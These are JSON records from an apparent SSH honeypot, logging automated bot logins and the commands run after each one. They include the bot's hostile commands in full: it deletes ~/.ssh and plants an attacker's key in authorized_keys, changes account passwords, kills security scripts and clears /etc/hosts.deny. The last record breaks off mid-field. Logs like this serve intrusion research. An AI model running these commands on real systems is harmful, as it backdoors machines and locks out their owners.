{"id":"2506c4b8-96e2-43e2-9762-00c1218c60bd","name":"hidden-indigo-dingo","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":61494,"username":"kim","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":292,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:13:18.003964+00:00","ended_at":"2026-08-26T15:13:19.483124+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-26T15:12:49.443048+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:12:49.734972+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:12:53.968876+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:12:55.183201+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:12:55.473267+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nZ4UKzLi1zb6l\\nZ4UKzLi1zb6l\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:12:55.765188+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nZ4UKzLi1zb6l\\nZ4UKzLi1zb6l\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:12:56.055642+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:12:56.982700+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:12:57.018939+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T15:12:57.275184+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T15:12:57.854164+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T15:12:58.699245+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:12:58.994917+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T15:13:01.182564+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T15:13:01.479837+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T15:13:02.406684+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T15:13:02.699133+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T15:13:03.685331+00:00","kind":"output","latency_ms":null,"data":" 15:13:03 up 6 days, 12:03, 0 user, load average: 0.26, 0.31, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T15:13:03.978012+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T15:13:06.093379+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T15:13:06.387262+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T15:13:08.501092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T15:13:08.792805+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T15:13:09.940926+00:00","kind":"output","latency_ms":null,"data":"top - 15:13:09 up 6 days, 12:03, 0 user, load average: 0.26, 0.31, 0.25\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T15:13:10.234565+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T15:13:12.050334+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T15:13:12.338402+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T15:13:14.216016+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T15:13:14.508348+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T15:13:15.796264+00:00","kind":"output","latency_ms":null,"data":"kim"},{"seq":31,"at":"2026-08-26T15:13:16.088829+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T15:13:17.712174+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T15:13:18.004950+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T15:13:19.397673+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kim","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"ffe34866-9da7-41d6-a8de-5a509dfd50f7","name":"early-steady-jerboa","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":61522,"username":"kim","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:12:52.898894+00:00","ended_at":"2026-08-26T15:12:53.883784+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"kim","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"550038f2-fb36-421e-9d77-a373e36e7456","name":"dutiful-deft-pochard","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":61508,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:12:50.383849+00:00","ended_at":"2026-08-26T15:12:52.309662+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b7e8f21d-e68e-4ba7-a684-1d1ce330c1a2","name":"thawing-fleeting-egret","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":52494,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:11:24.442968+00:00","ended_at":"2026-08-26T15:11:26.716417+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:10:54.365584+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:10:54.665524+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:10:59.051384+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:11:00.597728+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:11:00.899288+00:00","kind":"input","latency_ms":null,"data":"echo \"root:mF4aHN0qVJ0k\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:11:01.198796+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:11:01.498663+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:11:02.383710+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T15:11:03.071384+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T15:11:03.372224+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T15:11:05.280110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T15:11:05.582946+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T15:11:06.633401+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T15:11:06.935073+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T15:11:08.706833+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T15:11:09.009431+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T15:11:11.019731+00:00","kind":"output","latency_ms":null,"data":" 15:11:11 up 6 days, 12:01, 0 user, load average: 0.06, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T15:11:11.320927+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T15:11:13.045714+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T15:11:13.345226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T15:11:14.391491+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T15:11:14.692170+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T15:11:16.246990+00:00","kind":"output","latency_ms":null,"data":"top - 15:11:16 up 6 days, 12:01, 0 user, load average: 0.06, 0.05, 0.06\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T15:11:16.544522+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T15:11:18.291025+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T15:11:18.591155+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T15:11:19.866925+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T15:11:20.167360+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T15:11:21.988614+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T15:11:22.289299+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T15:11:24.143143+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T15:11:24.443792+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T15:11:26.631137+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678Ab","method":"password","accepted":true,"tier":"other"}]} {"id":"35a976a5-6df3-4c9d-8f1f-3bfa3d918b84","name":"somber-early-roebuck","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52504,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:10:57.018498+00:00","ended_at":"2026-08-26T15:10:58.963119+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"176e36f2-3001-453a-8067-1bb22c715806","name":"blithe-frugal-falcon","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52500,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:10:55.331097+00:00","ended_at":"2026-08-26T15:10:56.418839+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f881c2e4-7713-4c3b-ba41-1a562cac5584","name":"scarlet-crisp-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":57610,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":285,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:09:33.162109+00:00","ended_at":"2026-08-26T15:09:34.142292+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-26T15:09:03.198019+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:09:03.483235+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:09:06.960521+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:09:08.946906+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:09:09.231965+00:00","kind":"input","latency_ms":null,"data":"echo -e \"asdfasdf\\nxTRCoBvo7Gp7\\nxTRCoBvo7Gp7\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:09:09.516389+00:00","kind":"input","latency_ms":null,"data":"echo \"asdfasdf\\nxTRCoBvo7Gp7\\nxTRCoBvo7Gp7\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:09:09.800474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:09:10.279833+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T15:09:10.851128+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T15:09:10.917129+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T15:09:11.201699+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T15:09:13.213581+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:09:13.501257+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T15:09:15.545940+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T15:09:15.833472+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T15:09:17.835961+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T15:09:18.119394+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T15:09:19.901279+00:00","kind":"output","latency_ms":null,"data":" 15:09:19 up 6 days, 11:59, 0 user, load average: 0.13, 0.12, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T15:09:20.186162+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T15:09:22.140192+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T15:09:22.424907+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T15:09:24.443375+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T15:09:24.728864+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T15:09:26.651004+00:00","kind":"output","latency_ms":null,"data":"top - 15:09:26 up 6 days, 11:59, 0 user, load average: 0.13, 0.12, 0.14\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T15:09:27.028125+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T15:09:28.315053+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T15:09:28.599429+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T15:09:29.463857+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T15:09:29.750120+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T15:09:31.019217+00:00","kind":"output","latency_ms":null,"data":"deploy"},{"seq":31,"at":"2026-08-26T15:09:31.305516+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T15:09:32.879124+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T15:09:33.162779+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T15:09:34.040738+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deploy","password":"asdfasdf","method":"password","accepted":true,"tier":"other"}]} {"id":"f8d4e1aa-48f8-489e-b7c6-5a02514255ae","name":"cosmic-stormy-catbird","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":57612,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:09:05.691908+00:00","ended_at":"2026-08-26T15:09:06.877869+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"deploy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2ac8140c-dd12-43a8-a8e2-6a9fa3af7a2f","name":"painted-gritty-avocet","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":57604,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:09:04.134422+00:00","ended_at":"2026-08-26T15:09:05.116640+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"897c001f-3537-4cf6-8ead-4f6972463db6","name":"mindful-graceful-finch","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":56030,"username":"usuario1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:07:35.710506+00:00","ended_at":"2026-08-26T15:07:37.163044+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-26T15:07:07.421461+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:07:07.718600+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:07:12.074281+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:07:13.008248+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:07:13.308693+00:00","kind":"input","latency_ms":null,"data":"echo -e \"usuario1\\nXt23tDbNtgj5\\nXt23tDbNtgj5\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:07:13.608595+00:00","kind":"input","latency_ms":null,"data":"echo \"usuario1\\nXt23tDbNtgj5\\nXt23tDbNtgj5\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:07:13.907409+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:07:14.583515+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T15:07:14.783414+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T15:07:14.958619+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:07:15.084255+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T15:07:16.820369+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:07:17.126704+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T15:07:18.836274+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T15:07:19.137717+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T15:07:20.064284+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T15:07:20.364716+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T15:07:22.285693+00:00","kind":"output","latency_ms":null,"data":" 15:07:22 up 6 days, 11:57, 0 user, load average: 0.06, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T15:07:22.587929+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T15:07:23.945066+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T15:07:24.246130+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T15:07:25.213306+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T15:07:25.514732+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T15:07:27.569142+00:00","kind":"output","latency_ms":null,"data":"top - 15:07:27 up 6 days, 11:57, 0 user, load average: 0.06, 0.06, 0.06\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 